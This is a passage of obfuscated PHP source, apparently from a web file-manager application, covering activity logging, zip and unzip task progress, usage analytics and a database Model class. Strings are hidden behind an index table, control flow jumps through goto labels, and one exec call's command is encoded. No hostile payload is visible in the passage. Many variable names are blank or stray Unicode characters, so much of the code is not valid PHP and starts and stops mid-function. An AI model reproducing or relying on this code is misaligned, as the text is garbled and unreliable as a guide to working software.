typeAll() { $ˁ =& $_SERVER[ϋ]; $ = $this->typeList; $܇ = array_filter($this->typeFile()); foreach ($܇ as $ذ => $Ʌ) { $[$Ʌ[0]] = $[$ذ]; } $[$ˁ[1935]] = LNG($ˁ[2403]); $[$ˁ[2398]] = LNG($ˁ[2404]); return $; } public function addLog($܀˙, $؛ = array()) { $Dž =& $_SERVER[ϋ]; if (!isset($this->typeList[$܀˙])) { return; } $ݘ = Session::get($Dž[2094]); if (!$ݘ) { $ݘ = _get($؛, $Dž[1754], 0); } if ($܀˙ == $Dž[2370] && is_array($؛[$Dž[2405]]) && !$؛[$Dž[2405]]) { return; } $ĩ = get_client_ip(); if (!$؛ || strlen(json_encode($؛)) >= 1024 * 64) { if ($؛ && is_array($؛)) { $؛ = array_intersect_key($؛, array_flip($Dž[459], $Dž[32])); $؛[$Dž[2406]] = $ĩ; } else { $؛ = array($Dž[2406] => $ĩ); } } else { if (is_array($؛)) { $؛[$Dž[2406]] = $ĩ; } else { $؛ = array($Dž[1255] => $؛, $Dž[2406] => $ĩ); } } $؛ = array($Dž[1744] => Session::sign(), $Dž[1745] => intval($ݘ), $Dž[33] => $܀˙, $Dž[1747] => json_encode($؛)); parent::add($؛); } public function remove($) { $this->where(array($_SERVER[ϋ][477] => $))->delete(); } private function _makeOrder($ս = '') { $ =& $_SERVER[ϋ]; $Ծ⓽ = $[222]; $뭰 = array($[507] => $[508], $[509] => $[510]); $ = Input::get($[515], $[7], $[2130], array($[2048], $[509])); $ = $뭰[$]; $ս = $ս . "{$Ծ⓽}\40{$}"; return $this->order($ս); } public function get($ = '') { $􎎻 =& $_SERVER[ϋ]; if (!$) { show_json(array()); } $ = array(); if ($[$􎎻[1754]]) { $[$􎎻[1754]] = $[$􎎻[1754]]; } if (isset($[$􎎻[812]])) { $㈄ = $[$􎎻[812]]; $崠Ę = isset($[$􎎻[813]]) ? $[$􎎻[813]] : time(); $[$􎎻[222]] = array($􎎻[384], array($㈄, $崠Ę)); } if ($[$􎎻[33]]) { $„ۡ = explode($􎎻[50], $[$􎎻[33]]); $ͺ = $this->typeFile(); $ = array(); foreach ($„ۡ as $ߵ) { $[] = $ߵ; if (isset($ͺ[$ߵ])) { $ = array_merge($, $ͺ[$ߵ]); } } $ = array_unique($); if ($) { $[$􎎻[33]] = array($􎎻[7], $); } } else { $[$􎎻[33]] = array($􎎻[2407], $􎎻[2408]); } if (!empty($[$􎎻[2406]])) { $[$􎎻[510]] = array($􎎻[443], "\x25{$[$􎎻[2406]]}\x25"); } $ۡ = $this->_makeOrder()->where($)->selectPage(); if (empty($ۡ[$􎎻[429]])) { show_json(array(), !0, $ۡ[$􎎻[426]]); } $ۡ[$􎎻[429]] = $this->logList($ۡ[$􎎻[429]]); return $ۡ; } private function ipAddress(&$Β̓) { $܏˽ =& $_SERVER[ϋ]; if (!empty($Β̓[$܏˽[2406]])) { $ω = IpLocation::get($Β̓[$܏˽[2406]]); } else { $ω = LNG($܏˽[2409]); } $Β̓[$܏˽[2410]] = $ω; } private function descZipDownload($, &$렕) { $ˤ =& $_SERVER[ϋ]; if (!isset($[$ˤ[2411]])) { return; } $߃Հ = json_decode($[$ˤ[2411]], !0); foreach ($߃Հ as $) { try { $٦ = IO::infoFullSimple($[$ˤ[87]]); } catch (Exception $回) { continue; } $[$ˤ[87]] = $[$ˤ[87]]; $렕[] = $[$ˤ[184]] = $٦[$ˤ[184]]; $렕[] = $[$ˤ[2186]] = $٦[$ˤ[183]]; break; } return $; } private function getSourceList(&$) { $肑 =& $_SERVER[ϋ]; $ན = array(); foreach ($ as $ => $㓍) { $Ҥ = json_decode($㓍[$肑[510]], !0); if ($㓍[$肑[33]] == $肑[1926]) { $Ҥ = $this->descZipDownload($Ҥ, $ན); $[$][$肑[510]] = json_encode($Ҥ); continue; } if (strpos($㓍[$肑[33]], $肑[2188]) !== 0) { if (!isset($Ҥ[$肑[87]]) || strpos($㓍[$肑[33]], $肑[2412]) !== 0) { continue; } try { $ = IO::infoFullSimple($Ҥ[$肑[87]]); } catch (Exception $ij) { continue; } $ན[] = $Ҥ[$肑[184]] = $[$肑[184]]; $ན[] = $Ҥ[$肑[2186]] = $[$肑[183]]; $[$][$肑[510]] = json_encode($Ҥ); continue; } $ན[] = $Ҥ[$肑[184]]; $ན[] = $Ҥ[$肑[2186]]; if ($Ҥ[$肑[33]] == $肑[604]) { $ན[] = $Ҥ[$肑[510]][$肑[1212]]; $ན[] = $Ҥ[$肑[510]][$肑[1213]]; } if ($Ҥ[$肑[33]] == $肑[2197]) { $ན[] = $Ҥ[$肑[510]][$肑[184]]; } } if (!$ན) { return array(); } return Model($肑[876])->sourceListInfo($ན, !0); } private function logList($) { $ =& $_SERVER[ϋ]; $̥ = array_to_keyvalue($, $[12], $[1754]); $ƈɿ = Model($[583])->userListInfo(array_unique($̥)); $į = $this->getSourceList($); $Ä = $this->typeAll(); $ = array(); $ۆ = array(); foreach ($ as $ص => $݄) { $ = $݄[$[33]]; $閥 = isset($ƈɿ[$݄[$[1754]]]) ? $ƈɿ[$݄[$[1754]]] : !1; $Ԥ = strpos($, $[2413]) === 0 ? LNG($[2414]) : LNG($[2409]); $݄[$[32]] = isset($閥[$[32]]) ? $閥[$[32]] : LNG($[2409]); $݄[$[2241]] = isset($閥[$[2241]]) ? $閥[$[2241]] : $[12]; $݄[$[1643]] = isset($Ä[$]) ? $Ä[$] : $Ԥ; $݄[$[2129]] = $閥; $焰 = json_decode($݄[$[510]], !0); $݄[$[2406]] = isset($焰[$[2406]]) ? $焰[$[2406]] : $[12]; $݄[$[2410]] = IpLocation::get($݄[$[2406]]); if (strpos($, $[2188]) === 0 || isset($焰[$[2186]])) { $焰[$[90]] = $į[$焰[$[184]]]; $焰[$[2202]] = $į[$焰[$[2186]]]; if ($焰[$[33]] == $[604]) { $焰[$[510]][$[1212]] = $į[$焰[$[510]][$[1212]]]; $焰[$[510]][$[1213]] = $į[$焰[$[510]][$[1213]]]; } if ($焰[$[33]] == $[2197]) { $焰[$[510]][$[184]] = $į[$焰[$[510]][$[184]]]; } if ($焰[$[33]] == $[1921]) { $焰[$[2202]] = $焰[$[90]]; $焰[$[2186]] = $焰[$[2202]][$[184]]; $焰[$[90]] = !1; $焰[$[184]] = $[12]; } $ = array($[1921], $[2184]); if (!in_array($焰[$[33]], $)) { if ($焰[$[90]] && $焰[$[90]][$[181]] == $[182]) { $ۆ[] = $݄[$[459]]; unset($[$ص]); continue; } if ($焰[$[2202]] && $焰[$[2202]][$[181]] == $[182]) { $ۆ[] = $݄[$[459]]; unset($[$ص]); continue; } } } $݄[$[510]] = $焰; unset($݄[$[2415]]); $[] = $݄; } $this->clearSystemPathLog($ۆ); return $; } private function clearSystemPathLog($Ǡ) { $ϕ =& $_SERVER[ϋ]; if (count($Ǡ) == 0) { return; } $膭 = array($ϕ[459] => array($ϕ[7], array_unique($Ǡ))); $this->where($膭)->delete(); } public function deviceList($ݫ҇, $⤳ = 0) { $ʒ =& $_SERVER[ϋ]; $Ҵ = array($ʒ[1754] => $ݫ҇, $ʒ[222] => array($ʒ[1063], $⤳), $ʒ[33] => $ʒ[1895]); $ = array(); $ᬃ = $this->field($ʒ[2416])->where($Ҵ)->order($ʒ[2200])->limit(50)->select(); foreach ($ᬃ as $ => $̽) { if ($ > 0 && abs($̽[$ʒ[222]] - $ᬃ[$ - 1][$ʒ[222]]) < 5) { continue; } $ = json_decode($̽[$ʒ[510]], !0); $̽[$ʒ[2406]] = isset($[$ʒ[2406]]) ? $[$ʒ[2406]] : $ʒ[12]; unset($[$ʒ[2406]]); $Ć = $this->deviceType($[$ʒ[2189]]); if (isset($[$Ć])) { continue; } $̽[$ʒ[2410]] = IpLocation::get($̽[$ʒ[2406]]); $̽[$ʒ[510]] = $; $[$Ć] = $̽; } return array_values($); } public function deviceType($) { return $; } } goto Eş; F: class TaskUnzip extends TaskFileTransfer { protected function startAfter() { $𿡮 =& $_SERVER[ϋ]; parent::startAfter(); Hook::bind($𿡮[1867], array($this, $𿡮[1868])); Hook::bind($𿡮[1246], array($this, $𿡮[1869])); Hook::bind($𿡮[1870], array($this, $𿡮[1871])); $潺 =& $this->task; $潺[$𿡮[1872]] = $𿡮[1247]; if (!$潺[$𿡮[1643]]) { $潺[$𿡮[1643]] = LNG($𿡮[1873]); } } protected function endAfter() { $藜 =& $_SERVER[ϋ]; parent::endAfter(); Hook::unbind($藜[1867], array($this, $藜[1868])); Hook::unbind($藜[1246], array($this, $藜[1869])); Hook::unbind($藜[1870], array($this, $藜[1871])); } public function updateAfter() { $ָ =& $_SERVER[ϋ]; $˻؞ =& $this->task; if (!$˻؞[$ָ[1112]] || !$˻؞[$ָ[815]]) { if ($˻؞[$ָ[1872]] != $ָ[364]) { return; } } if ($˻؞[$ָ[1872]] == $ָ[1247]) { $ = 0; if ($˻؞[$ָ[1807]]) { $ = $˻؞[$ָ[1808]] / $˻؞[$ָ[1807]]; } $˻؞[$ָ[1756]] = $ * 0.3; } else { if ($˻؞[$ָ[1872]] == $ָ[364]) { $ = $˻؞[$ָ[1755]] / $˻؞[$ָ[1112]]; $˻؞[$ָ[1756]] = 0.3 + $ * 0.4; } else { if ($˻؞[$ָ[1872]] == $ָ[110]) { $ʰ = 0; if ($˻؞[$ָ[1809]] == $ָ[110]) { $ʰ = $˻؞[$ָ[1808]]; } $ = ($˻؞[$ָ[1812]] + $ʰ) / $˻؞[$ָ[815]]; $˻؞[$ָ[1756]] = 0.3 + 0.4 + $ * 0.3; } } } if ($˻؞[$ָ[1756]] > 0) { $츶 = timeFloat() - $˻؞[$ָ[1758]] - $˻؞[$ָ[1761]]; $˻؞[$ָ[1762]] = $츶 * (1 - $˻؞[$ָ[1756]]) / $˻؞[$ָ[1756]]; } } public function addFile($ͅÄ) { $δ =& $_SERVER[ϋ]; $Й =& $this->task; $ = IO::info($ͅÄ); $Й[$δ[1805]] = $[$δ[32]]; $Й[$δ[1807]] = $[$δ[79]]; $Й[$δ[1808]] = 0; $Й[$δ[1114]] = $δ[1828]; $Й[$δ[1809]] = $δ[1247]; $Й[$δ[815]] = $[$δ[79]]; $Й[$δ[1112]] = 1; $ = 0; $Й[$δ[1816]] = array($δ[1817] => $ + 1, $δ[478] => $[$δ[32]], $δ[87] => $[$δ[87]], $δ[567] => $[$δ[567]] ? $[$δ[567]] : $[$δ[87]]); $this->update(); } public function zipEvent($ӡ, $̱Է, $, $֛) { $σ =& $_SERVER[ϋ]; $ =& $this->task; $[$σ[1805]] = get_path_this($̱Է); $[$σ[1807]] = $֛; $[$σ[1808]] = $; $[$σ[1114]] = $ӡ == $σ[1874] ? $σ[1875] : $σ[1876]; $[$σ[1809]] = $σ[12]; $[$σ[815]] = $֛; $[$σ[1872]] = $σ[364]; $this->update(); } public function unzipAfter($) { $ =& $_SERVER[ϋ]; $ =& $this->task; $[$[1872]] = $[110]; $ = IO::infoWithChildren($); $ = 0; $[$[1816]] = array($[1817] => $ + 1, $[478] => $[$[32]], $[87] => $[$[87]], $[567] => $[$[567]] ? $[$[567]] : $[$[87]]); if ($[$[33]] == $[221]) { $[$[1112]] = 1; } else { $[$[1112]] = $[$[82]][$[80]]; } $[$[1114]] = $[12]; $[$[1809]] = 0; $[$[1755]] = 0; $[$[1807]] = 0; $[$[1808]] = 0; $[$[1805]] = $[12]; $[$[1812]] = 0; $[$[815]] = $[$[79]]; $this->update(); self::log($[1877] . json_encode(array($, $))); } public function nameParse($) { $Ѳ =& $_SERVER[ϋ]; $ç =& $this->task; if ($ç[$Ѳ[1872]] == $Ѳ[1247]) { $ç[$Ѳ[1872]] = $Ѳ[364]; $ç[$Ѳ[1812]] = 0; $ç[$Ѳ[815]] = 0; } $ = get_path_this($); if (strstr($, $Ѳ[10])) { $ç[$Ѳ[1755]] += 1; $ç[$Ѳ[1112]] += 1; } $ç[$Ѳ[1805]] = $; $this->update(); } } class TaskZip extends TaskFileTransfer { protected function startAfter() { $̰ =& $_SERVER[ϋ]; parent::startAfter(); Hook::bind($̰[1878], array($this, $̰[1868])); Hook::bind($̰[1870], array($this, $̰[1871])); $ɜ =& $this->task; $ɜ[$̰[1872]] = $̰[1247]; if (!$ɜ[$̰[1643]]) { $ɜ[$̰[1643]] = LNG($̰[1879]); } } protected function endAfter() { $օ =& $_SERVER[ϋ]; parent::endAfter(); Hook::unbind($օ[1878], array($this, $օ[1868])); Hook::unbind($օ[1870], array($this, $օ[1871])); } public function updateAfter() { $ı =& $_SERVER[ϋ]; $ =& $this->task; if (!$[$ı[1112]] || !$[$ı[815]]) { return; } if ($[$ı[1872]] == $ı[1247]) { $ = $[$ı[1808]]; if ($[$ı[1809]] != $ı[1247]) { $ = 0; } $֏ = ($[$ı[1812]] + $) / $[$ı[815]]; $[$ı[1756]] = $֏ * 0.3; } else { if ($[$ı[1872]] == $ı[364]) { $֏ = $[$ı[1755]] / $[$ı[1112]]; $[$ı[1756]] = 0.3 + $֏ * 0.5; } else { if ($[$ı[1872]] == $ı[110]) { $֏ = 0; if ($[$ı[1807]]) { $֏ = $[$ı[1808]] / $[$ı[1807]]; } $[$ı[1756]] = 0.3 + 0.5 + $֏ * 0.2; } } } if ($[$ı[1756]] > 0) { $ȁ = timeFloat() - $[$ı[1758]] - $[$ı[1761]]; $[$ı[1762]] = $ȁ * (1 - $[$ı[1756]]) / $[$ı[1756]]; } } public function copyFileStart($, $迁, $, $, $, $Ã) { $뷣 =& $_SERVER[ϋ]; parent::copyFileStart($, $迁, $, $, $, $Ã); $ض =& $this->task; if ($ض[$뷣[1872]] == $뷣[364]) { $ض[$뷣[1872]] = $뷣[110]; } $this->update(); } public function copyFileEnd($, $, $, $, $, $) { $ =& $_SERVER[ϋ]; $ =& $this->task; $[$[1808]] = $[$[1807]]; $[$[1812]] += $[$[1807]]; $[$[1809]] = $[12]; $this->update(); } public function zipEvent($չ, $Դף, $Ѥ, $) { $ =& $_SERVER[ϋ]; $ꍢ =& $this->task; $ꍢ[$[1805]] = get_path_this($Դף); $ꍢ[$[1807]] = $; $ꍢ[$[1808]] = $Ѥ; $ꍢ[$[1114]] = $չ == $[1880] ? $[1875] : $[1876]; $ꍢ[$[1809]] = $[12]; $ꍢ[$[815]] = $; $ꍢ[$[1872]] = $[364]; $this->update(); } public function nameParse($) { $Ђ¢ =& $_SERVER[ϋ]; $ਵ =& $this->task; if ($ਵ[$Ђ¢[1755]] < $ਵ[$Ђ¢[1112]]) { $߾ = get_path_this($); if (strstr($߾, $Ђ¢[10])) { $ਵ[$Ђ¢[1755]] += 1; } } if ($ਵ[$Ђ¢[1872]] == $Ђ¢[1247]) { $ਵ[$Ђ¢[1872]] = $Ђ¢[364]; } $ਵ[$Ђ¢[1805]] = $; $this->update(); } } class AnalysisModel extends ModelBaseLight { public function init($ީ) { $ͳ =& $_SERVER[ϋ]; $ = array($ͳ[646] => array($ͳ[33] => $ͳ[1881], $ͳ[325] => array($ͳ[246], $ͳ[817], $ͳ[1882], $ͳ[1883])), $ͳ[1884] => array($ͳ[33] => $ͳ[1885], $ͳ[325] => array($ͳ[246], $ͳ[815], $ͳ[1886], $ͳ[1887], $ͳ[1888]))); if (!isset($[$ީ])) { return !1; } $this->optionType = $[$ީ][$ͳ[33]]; $this->field = $[$ީ][$ͳ[325]]; return !0; } public function listData($ = false, $˓ = "\x6d\157\x64\151\146\171\x54\x69\155\145", $ = false) { return parent::listData($, $˓, $); } public function trendList($г) { $ޛ =& $_SERVER[ϋ]; $񑾡 = $this->listData(); if ($񑾡) { $ķ򱇛 = end($񑾡); $ܱ = date($ޛ[1889], strtotime($ޛ[1890])); if ($ķ򱇛[$ޛ[246]] == $ܱ) { return $񑾡; } $߿ = strtotime($ķ򱇛[$ޛ[246]]); } if (!isset($߿)) { $ǸĜ = $г == $ޛ[646] ? $ޛ[583] : $ޛ[876]; $߿ = Model($ǸĜ)->min($ޛ[222]); } $ = $ޛ[1891] . ucfirst($г); $ = $this->dateList($߿); foreach ($ as $ܱ) { $this->{$}($ܱ); } return $this->listData(); } private function dateList($) { $Ý =& $_SERVER[ϋ]; $à͵ = $; $һ = strtotime($Ý[1890]); $چ = array(); while ($à͵ <= $һ) { $چ[] = date($Ý[1889], $à͵); $à͵ = strtotime($Ý[1892], $à͵); } return $چ; } public function _recordUser($Ӂҁ = '') { $έ =& $_SERVER[ϋ]; $ = strtotime(date($έ[1893], strtotime($Ӂҁ))); $ = strtotime(date($έ[1894], strtotime($Ӂҁ))); $כ = array($έ[222] => array($έ[1062], $)); $ = Model($έ[583])->where($כ)->count($έ[1754]); $כ[$έ[222]] = array($έ[384], array($, $)); $󀧒 = Model($έ[583])->where($כ)->count($έ[1754]); $כ[$έ[33]] = $έ[1895]; $ꓤ = Model($έ[1896])->where($כ)->count($έ[1897]); $ؕ = array($έ[246] => $Ӂҁ, $έ[817] => (int) $, $έ[1882] => (int) $󀧒, $έ[1883] => (int) $ꓤ); return $this->insert($ؕ); } public function _recordStore($٩ = '') { $ƿ =& $_SERVER[ϋ]; $ٮ = strtotime(date($ƿ[1894], strtotime($٩))); $ = array($ƿ[222] => array($ƿ[1062], $ٮ)); $Ȇ = Model($ƿ[528])->where($)->sum($ƿ[79]); $[$ƿ[469]] = 0; $݂ = Model($ƿ[876])->where($)->sum($ƿ[79]); $[$ƿ[181]] = 1; $ߪ = Model($ƿ[876])->where($)->sum($ƿ[79]); $[$ƿ[181]] = 2; $ɜ = Model($ƿ[876])->where($)->sum($ƿ[79]); $ϰʲ = array($ƿ[246] => $٩, $ƿ[815] => (int) $݂, $ƿ[1886] => (int) $Ȇ, $ƿ[1887] => (int) $ߪ, $ƿ[1888] => (int) $ɜ); return $this->insert($ϰʲ); } public function trend($, $Ɣ) { $쇼 =& $_SERVER[ϋ]; if (!$this->init($)) { return !1; } $̳ = $this->trendList($); if ($̳ && $Ɣ != $쇼[1727]) { $♳ = $̳[0][$쇼[246]]; $ = $this->validDate($Ɣ, $♳); $ = array(); $ф = array_to_keyvalue($̳, $쇼[246]); foreach ($ as $) { if (isset($ф[$])) { $槍 = $ф[$]; } else { $槍 = end($̳); $槍[$쇼[246]] = $; if ($ == $쇼[646]) { $槍[$쇼[1882]] = $槍[$쇼[1883]] = 0; } } $[] = $槍; } $̳ = $; } $ן = array($쇼[646] => array($쇼[817] => LNG($쇼[1898]), $쇼[1882] => LNG($쇼[1899]), $쇼[1883] => LNG($쇼[1900])), $쇼[1884] => array($쇼[815] => LNG($쇼[1901]), $쇼[1886] => LNG($쇼[1902]), $쇼[1887] => LNG($쇼[1903]), $쇼[1888] => LNG($쇼[1904]))); $ = array($쇼[646] => $쇼[1905], $쇼[1884] => $쇼[79]); if (empty($̳)) { $ = date($쇼[1889], strtotime($쇼[1890])); $ڍ = array($쇼[246] => $); foreach ($ן[$] as $ҟ => $ϧ) { $ڍ[$ҟ] = 0; } $̳[] = $ڍ; } $ = array(); foreach ($̳ as $ϧ) { if ($ == $쇼[1884] && $ϧ[$쇼[1886]] > $ϧ[$쇼[815]]) { $ϧ[$쇼[1886]] = $ϧ[$쇼[815]]; } foreach ($ן[$] as $ҟ => $ۉ) { $槍 = array($쇼[246] => $ϧ[$쇼[246]], $쇼[1643] => $ۉ); $槍[$[$]] = isset($ϧ[$ҟ]) ? $ϧ[$ҟ] : 0; $[] = $槍; } } return $; } public function validDate($ݨ, $ؓ) { $˨ =& $_SERVER[ϋ]; $ɿޑ = date($˨[1889], strtotime($˨[1890])); $̼ = array($ɿޑ); switch ($ݨ) { case $˨[1734]: $ژ = mktime(0, 0, 0, date($˨[1906]), date($˨[1420]) - date($˨[1514]) + 7 - 7, date($˨[1907])); $ф = 0; do { $ = date($˨[1889], $ژ - 3600 * 24 * 7 * $ф); $̼[] = $; $ф++; } while ($ؓ < $); break; case $˨[1732]: $ф = 1; do { $ = date($˨[1908], strtotime("\x2d\x20{$ф}\x20\x6d\157\x6e\x74\150\x73")); $̼[] = $; $ф++; } while ($ؓ < $); break; case $˨[1909]: $ = (int) date($˨[1907], strtotime($ؓ)); $􂀍 = (int) date($˨[1907]); if ($ >= $􂀍) { break; } for ($; $ < $􂀍; $++) { $̼[] = $ . $˨[1910]; } break; default: break; } if ($ؓ > end($̼)) { array_pop($̼); } sort($̼); return $̼; } public function listTable($) { $ = ucfirst($); return Model($)->listData(); } public function option($ҳ) { $ݢ = $_SERVER[ϋ][1911] . ucfirst($ҳ); return $this->{$ݢ}(); } private function optionUser() { $ =& $_SERVER[ϋ]; $Ɠ = Model($[583])->count($[1754]); $ͬ = Model($[583])->where($[1912])->count($[1754]); $Ş = intval($GLOBALS[$[6]][$[400]][$[1700]]) / 3600; $Պݦ = strtotime("\x2d{$Ş}\40\150\157\x75\x72\x73"); $蚻 = strtotime(date($[1893])); if ($Պݦ < $蚻) { $Պݦ = $蚻; } $ = array($[1913] => array($[1063], $Պݦ)); $ = (int) Model($[583])->where($)->count($[1754]); if (!$) { $ = 1; } $ = array($[1913] => array($[1063], $蚻)); $Ͷ = Model($[583])->where($)->count($[1754]); return array($[810] => (int) $Ɠ, $[1914] => (int) ($Ɠ - $ͬ), $[1915] => (int) $ͬ, $[1916] => (int) $Ͷ, $[1917] => $); } private function optionFile() { $Ǎ =& $_SERVER[ϋ]; $ᨾ = $this->sourceSize(); $ = $ᨾ[$Ǎ[79]]; $ = $ᨾ[$Ǎ[1886]]; $ = Model($Ǎ[876])->where(array($Ǎ[469] => 0))->count($Ǎ[184]); $ = array($Ǎ[469] => 0, $Ǎ[222] => array($Ǎ[1063], strtotime(date($Ǎ[1893])))); $֓ŕ = Model($Ǎ[876])->where($)->sum($Ǎ[79]); $ = Model($Ǎ[876])->where($)->count($Ǎ[184]); return array($Ǎ[815] => $, $Ǎ[1886] => $, $Ǎ[1918] => $ - $, $Ǎ[1919] => (int) $֓ŕ, $Ǎ[817] => (int) $, $Ǎ[1920] => (int) $); } private function optionAccess() { $ =& $_SERVER[ϋ]; return array($[810] => $this->typeLogCnt(), $[110] => $this->typeLogCnt($[110]), $[509] => $this->typeLogCnt($[509]), $[1921] => $this->typeLogCnt($[1921]), $[1922] => $this->typeLogCnt($[1922]), $[646] => $this->typeLogCnt($[12], $[1897])); } private function typeLogCnt($Џ = '', $ = "\x69\x64") { $ѹ =& $_SERVER[ϋ]; $܇ = array($ѹ[110] => array($ѹ[1923], $ѹ[1924]), $ѹ[509] => array($ѹ[1925], $ѹ[1926]), $ѹ[1921] => array($ѹ[1927], $ѹ[1928], $ѹ[1929]), $ѹ[1922] => array($ѹ[1930], $ѹ[1931]), $ѹ[1932] => array($ѹ[1933], $ѹ[1934], $ѹ[1935])); $ = strtotime(date($ѹ[1893])); $흱 = array($ѹ[222] => array($ѹ[1063], $)); if ($Џ) { $흱[$ѹ[33]] = array($ѹ[7], $܇[$Џ]); } $⭀҇ = Model($ѹ[1896])->where($흱)->count($); return (int) $⭀҇; } private function optionServer() { $ =& $_SERVER[ϋ]; $ػε = $this->diskDriver(); $ϰ = KodIO::defaultDriver(); $ƞ = array($[868] => $ϰ[$[459]]); $ = Model($[528])->where($ƞ)->sum($[79]); $ = explode($[53], $_SERVER[$[147]]); $ݗ = $[0]; $ = $GLOBALS[$[6]][$[21]]; $癳 = $[$[1025]]; if ($癳 == $[1013]) { $Ï = explode($[1335], $[$[1024]]); $癳 = $Ï[0]; } if ($癳 == $[961] || $癳 == $[855]) { $󭥢 = Model()->db()->query($[1936]); $팗Ȯ = $󭥢[0] && isset($󭥢[0][$[1642]]) ? $󭥢[0][$[1642]] : 0; $癳 = $[1937] . ($팗Ȯ ? $[8] . $팗Ȯ : $[12]); } $ = $GLOBALS[$[6]][$[400]][$[878]]; return array($[1938] => $ػε ? $ػε[$[1939]] : 0, $[1940] => $ػε ? $ػε[$[1941]] : 0, $[1942] => (int) $ϰ[$[1939]] * 1024 * 1024 * 1024, $[1943] => (int) $, $[1944] => ucfirst($ݗ), $[1945] => $[1946] . PHP_VERSION, $[1947] => phpBuild64() ? 64 : 32, $[809] => str_replace($[1182], $[1041], $癳), $[400] => ucfirst($), $[32] => $_SERVER[$[1948]]); } private function diskDriver() { $ =& $_SERVER[ϋ]; $ = $[8]; $ή = $GLOBALS[$[6]][$[1352]] == $[1353]; if ($ή) { $ = $[1949]; if (function_exists($[1950])) { exec($[1951], $٦ӣ); $ = $٦ӣ[1] . $[8]; } } if (!file_exists($)) { return; } $ = @disk_total_space($); $ϼ = $ - @disk_free_space($); return array($[1939] => $, $[1941] => $ϼ); } public function fileChart($) { $׃Խ =& $_SERVER[ϋ]; if (isset($[$׃Խ[1754]])) { return Model($׃Խ[876])->userFileTypeProfile($[$׃Խ[1754]]); } if (isset($[$׃Խ[1952]])) { return Model($׃Խ[876])->groupFileTypeProfile($[$׃Խ[1952]]); } $ = $this->sourceSize(); $Ք = array($׃Խ[183] => 0, $׃Խ[181] => 1); $ = Model($׃Խ[876])->where($Ք)->sum($׃Խ[79]); $Ք[$׃Խ[181]] = 2; $ = Model($׃Խ[876])->where($Ք)->sum($׃Խ[79]); return array($׃Խ[815] => $[$׃Խ[79]], $׃Խ[1886] => $[$׃Խ[1886]], $׃Խ[1887] => (int) $, $׃Խ[1888] => (int) $); } private function sourceSize() { $Ԝ =& $_SERVER[ϋ]; $ϱ = Model($Ԝ[876])->where(array($Ԝ[469] => 0))->sum($Ԝ[79]); $ = Model($Ԝ[528])->sum($Ԝ[79]); if ($ > $ϱ) { $ = $ϱ; } return array($Ԝ[79] => (int) $ϱ, $Ԝ[1886] => (int) $); } } goto Fأ; c: class Model extends ClassBaseCall { private $_extModel = null; protected $db = null; protected $pk = "\151\x64"; protected $tablePrefix = ''; protected $name = ''; protected $dbName = ''; protected $connection = ''; protected $tableName = ''; protected $trueTableName = ''; protected $error = ''; protected $fields = array(); protected $data = array(); protected $options = array(); protected $_validate = array(); protected $_auto = array(); protected $_map = array(); protected $_scope = array(); protected $autoCheckFields = true; protected $patchValidate = false; protected $methods = array("\164\x61\142\x6c\x65", "\x6f\162\144\x65\x72", "\141\154\151\x61\x73", "\x68\x61\166\x69\156\147", "\x67\x72\x6f\x75\x70", "\x6c\x6f\x63\153", "\x64\x69\163\164\x69\x6e\x63\x74", "\x61\165\x74\157", "\x66\151\x6c\164\145\162", "\166\x61\154\x69\144\x61\x74\x65", "\x72\145\163\165\154\x74", "\142\x69\156\x64", "\x74\157\153\x65\x6e"); public function __construct($ޤ = '', $𜣮 = '', $ = '') { $ޤ =& $_SERVER[ϋ]; $this->_initialize(); if (!empty($ޤ)) { if (strpos($ޤ, $ޤ[10])) { list($this->dbName, $this->name) = explode($ޤ[10], $ޤ); } else { $this->name = $ޤ; } } elseif (empty($this->name)) { $this->name = $this->getModelName(); } if (is_null($𜣮)) { $this->tablePrefix = $ޤ[12]; } elseif ($ޤ[12] != $𜣮) { $this->tablePrefix = $𜣮; } else { $this->tablePrefix = $this->tablePrefix ? $this->tablePrefix : think_config($ޤ[296]); } $this->db(0, empty($this->connection) ? $ : $this->connection); $this->_classObjectID = mt_rand(0, 10000); } protected function _checkTableInfo() { $ؒ =& $_SERVER[ϋ]; if (empty($this->fields)) { if (think_config($ؒ[297])) { $޿ = $this->dbName ? $this->dbName : think_config($ؒ[298]); $ = think_var_cache($ؒ[299] . strtolower(get_path_this($޿) . $ؒ[10] . $this->name)); if ($) { $ = think_config($ؒ[300]); if (empty($) || $[$ؒ[301]] == $) { $this->fields = $; return; } } } $this->flush(); } } public function flush() { $ =& $_SERVER[ϋ]; $this->db->setModel($this->name); $ͥ = $this->db->getFields($this->getTableName()); if (!$ͥ) { return !1; } $this->fields = array_keys($ͥ); $this->fields[$[302]] = !1; foreach ($ͥ as $ѥЊ => $öܥ) { $ڎ[$ѥЊ] = $öܥ[$[33]]; if ($öܥ[$[39]]) { $this->fields[$[303]] = $ѥЊ; if ($öܥ[$[42]]) { $this->fields[$[302]] = !0; } } } $this->fields[$[304]] = $ڎ; if (think_config($[300])) { $this->fields[$[301]] = think_config($[300]); } if (think_config($[297])) { $Ҽ = $this->dbName ? $this->dbName : think_config($[298]); think_var_cache($[299] . strtolower(get_path_this($Ҽ) . $[10] . $this->name), $this->fields); } } public function switchModel($Ɩ, $ = array()) { $ۤ =& $_SERVER[ϋ]; $߽ = ucwords(strtolower($Ɩ)) . $ۤ[305]; if (!class_exists($߽)) { think_exception($߽ . think_lang($ۤ[306])); } $this->_extModel = new $߽($this->name); if (!empty($)) { foreach ($ as $) { $this->_extModel->setProperty($, $this->{$}); } } return $this->_extModel; } public function __set($, $Ҿ) { $this->data[$] = $Ҿ; } public function __get($) { return isset($this->data[$]) ? $this->data[$] : null; } public function __isset($Όʻ) { return isset($this->data[$Όʻ]); } public function __unset($ބפ) { unset($this->data[$ބפ]); } public function __call($ְ, $) { $ =& $_SERVER[ϋ]; if (in_array(strtolower($ְ), $this->methods, !0)) { $this->options[strtolower($ְ)] = $[0]; return $this; } elseif (in_array(strtolower($ְ), array($[307], $[308], $[309], $[310], $[311]), !0)) { $Ů = isset($[0]) ? $[0] : $[211]; $Ů = $this->db->parseKey($Ů); return $this->getField(strtoupper($ְ) . $[312] . $Ů . $[313] . $ְ, $[307]); } elseif (strtolower(substr($ְ, 0, 5)) == $[314]) { $Ů = think_parse_name(substr($ְ, 5)); $؛[$Ů] = $[0]; return $this->where($؛)->find(); } elseif (strtolower(substr($ְ, 0, 10)) == $[315]) { $ = think_parse_name(substr($ְ, 10)); $؛[$] = $[0]; return $this->where($؛)->getField($[1]); } elseif (isset($this->_scope[$ְ])) { return $this->scope($ְ, $[0]); } elseif (method_exists($this, $ְ)) { array_unshift($, $ְ); return call_user_func_array(array($this, $[316]), $); } else { return call_user_func_array(array(parent, $ְ), $); } } protected function call() { 